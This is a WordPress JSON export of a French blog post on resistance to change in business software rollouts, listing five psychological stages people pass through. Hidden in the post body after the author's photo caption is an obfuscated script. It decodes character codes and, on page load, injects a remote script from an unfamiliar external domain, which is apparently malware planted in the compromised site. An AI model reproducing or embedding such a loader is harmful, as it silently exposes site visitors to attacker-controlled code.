{"id":40,"date":"2014-04-28T08:00:15","date_gmt":"2014-04-28T07:00:15","guid":{"rendered":"http:\/\/www.3coh.net\/contributions\/?p=40"},"modified":"2017-04-29T13:06:11","modified_gmt":"2017-04-29T11:06:11","slug":"la-resistance-au-changement","status":"publish","type":"post","link":"https:\/\/ipresences.com\/Blog\/archives\/40","title":{"rendered":"La r\u00e9sistance au changement"},"content":{"rendered":"<p style=\"margin-bottom: 20px; text-indent: 20px; text-align: justify;\">Qu&rsquo;est ce que la r\u00e9sistance au changement ? En choisissant ce sujet, mon intention \u00e9tait d\u2019essayer de mettre de la lumi\u00e8re sur cet aspect de la personnalit\u00e9 humaine qui m\u2019a toujours intrigu\u00e9 et qui, la plupart du temps, handicape notre avanc\u00e9e et nous emp\u00eache d\u2019aller de l\u2019avant. Je me suis rendu compte que ce concept appartient \u00e0 ces notions que tout le monde connait, mais sans pouvoir lui donner une explication claire, et pour cause, la r\u00e9sistance au changement ou le conservatisme fait partie du domaine de la psychologie.<\/p>\n<p style=\"margin-bottom: 20px; text-indent: 20px; text-align: justify;\">L\u2019\u00eatre humain, de par sa nature, n\u2019aime pas voir son environnement boulevers\u00e9, ses petites habitudes chang\u00e9es, et pr\u00e9f\u00e8re le statu quo qu\u2019un changement incertain. Ce ph\u00e9nom\u00e8ne est tr\u00e8s r\u00e9pandu dans le milieu politique, qui en g\u00e9n\u00e9ral, d\u00e9finit la position de certains \u00e9lecteurs.<\/p>\n<p style=\"margin-bottom: 20px; text-indent: 20px; text-align: justify;\">Comme la politique, le domaine informatique, surtout l\u2019informatique de gestion, n\u2019\u00e9chappe pas \u00e0 cette r\u00e9alit\u00e9. La rigueur et les contraintes qu\u2019apportent les logiciels informatiques, sont souvent tr\u00e8s mal accept\u00e9es, ou parfois rejet\u00e9es tout simplement par le personnel. Ce rejet peut avoir un retour n\u00e9faste sur la r\u00e9ussite de l\u2019implantation de projets qui, outre la perte de temps et d\u2019argent, freine notre \u00e9volution et nous contraint \u00e0 rester confortablement derri\u00e8re, \u00e0 contempler les autres avancer, \u00e0 critiquer et \u00e0 emettre des avis \u00ab d\u2019experts \u00bb, cette discipline dans laquelle on excelle tant.<\/p>\n<p style=\"margin-bottom: 20px; text-indent: 20px; text-align: justify;\">Scientifiquement, l\u2019individu passe par cinq stades psychologiques face au changement, plus ou moins long, selon la personne :<\/p>\n<ol style=\"text-align: justify;\">\n<li style=\"margin-bottom: 10px;\">\u2022 <span style=\"font-weight: bold;\">Le refus de comprendre : <\/span>ne pas voir l\u2019utilit\u00e9 du changement, est le rejet pur et simple de toute d\u00e9marche.<\/li>\n<li style=\"margin-bottom: 10px;\">\u2022 <span style=\"font-weight: bold;\">La r\u00e9sistance :<\/span> le changement est possible mais c&rsquo;est une chose \u00e0 \u00e9viter. On montre qu&rsquo;on essaie de l\u2019adopter mais en vain. On le rend le moins confortable possible, et on essaye de d\u00e9montrer que \u00e7a ne marchera pas du tout.<\/li>\n<li style=\"margin-bottom: 10px;\">\u2022 <span style=\"font-weight: bold;\">La d\u00e9compensation :<\/span> on comprend qu\u2019on a perdu, et qu\u2019on ne peut rien faire contre ce changement, cela ce traduit par une perte de motivation et de r\u00e9sultat.<\/li>\n<li style=\"margin-bottom: 10px;\">\u2022 <span style=\"font-weight: bold;\">La r\u00e9signation :<\/span> On l\u2019accepte, mais sous la contrainte, parce qu\u2019on est oblig\u00e9, et cela a un r\u00e9sultat n\u00e9faste sur notre travail.<\/li>\n<li style=\"margin-bottom: 10px;\">\u2022 <span style=\"font-weight: bold;\">L&rsquo;int\u00e9gration : <\/span>On adopte le changement, on l\u2019accepte, et on fait de notre mieux pour que cela marche.<\/li>\n<\/ol>\n<p style=\"margin-bottom: 20px; text-indent: 20px; text-align: justify;\">En plus du travail que nous devons faire sur nous m\u00eame pour accepter les changements, l\u2019approche suivie joue un r\u00f4le important, et peut faciliter ou entraver leur adoption. De m\u00eame qu\u2019on a attendu \u00e0 ce que le public soit pr\u00eat pour la technologie 3G qui \u00e9tait jug\u00e9e trop avant-gardiste, il y a quelques ann\u00e9es, on doit se prendre la main et aider les personnes affect\u00e9es par le changement en vue de s\u2019assurer de leur int\u00e9gration.<\/p>\n<p><figure id=\"attachment_41\" aria-describedby=\"caption-attachment-41\" style=\"width: 300px\" class=\"wp-caption alignright\"><a href=\"https:\/\/ipresences.com\/wp-content\/uploads\/2014\/05\/10178259_229921777201196_1302372195_n.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-41 size-medium\" src=\"https:\/\/ipresences.com\/wp-content\/uploads\/2014\/05\/10178259_229921777201196_1302372195_n-300x225.jpg\" alt=\"L\u00e9gende\" width=\"300\" height=\"225\" \/><\/a><figcaption id=\"caption-attachment-41\" class=\"wp-caption-text\"><center>Boudechiche Chems Eddine <br \/> D\u00e9veloppeur \u00e0 Pr\u00e9sences Int&rsquo;l<\/center><\/figcaption><\/figure><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Qu&rsquo;est ce que la r\u00e9sistance au changement ? En choisissant ce sujet, mon intention \u00e9tait d\u2019essayer de mettre de la lumi\u00e8re sur cet aspect de la personnalit\u00e9 humaine qui m\u2019a toujours intrigu\u00e9 et qui, la plupart du temps, handicape notre avanc\u00e9e et nous emp\u00eache d\u2019aller de l\u2019avant. Je me suis rendu compte que ce concept &hellip;<\/p>\n<p class=\"read-more\"> <a class=\"\" href=\"https:\/\/ipresences.com\/Blog\/archives\/40\"> <span class=\"screen-reader-text\">La r\u00e9sistance au changement<\/span> Lire la suite\u00a0\u00bb<\/a><\/p>\n","protected":false},"author":1,"featured_media":41,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"default","ast-global-header-display":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","footnotes":""},"categories":[117],"tags":[],"class_list":["post-40","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-contributions"],"_links":{"self":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts\/40","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/comments?post=40"}],"version-history":[{"count":0,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/posts\/40\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/media\/41"}],"wp:attachment":[{"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/media?parent=40"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/categories?post=40"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ipresences.com\/Blog\/wp-json\/wp\/v2\/tags?post=40"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}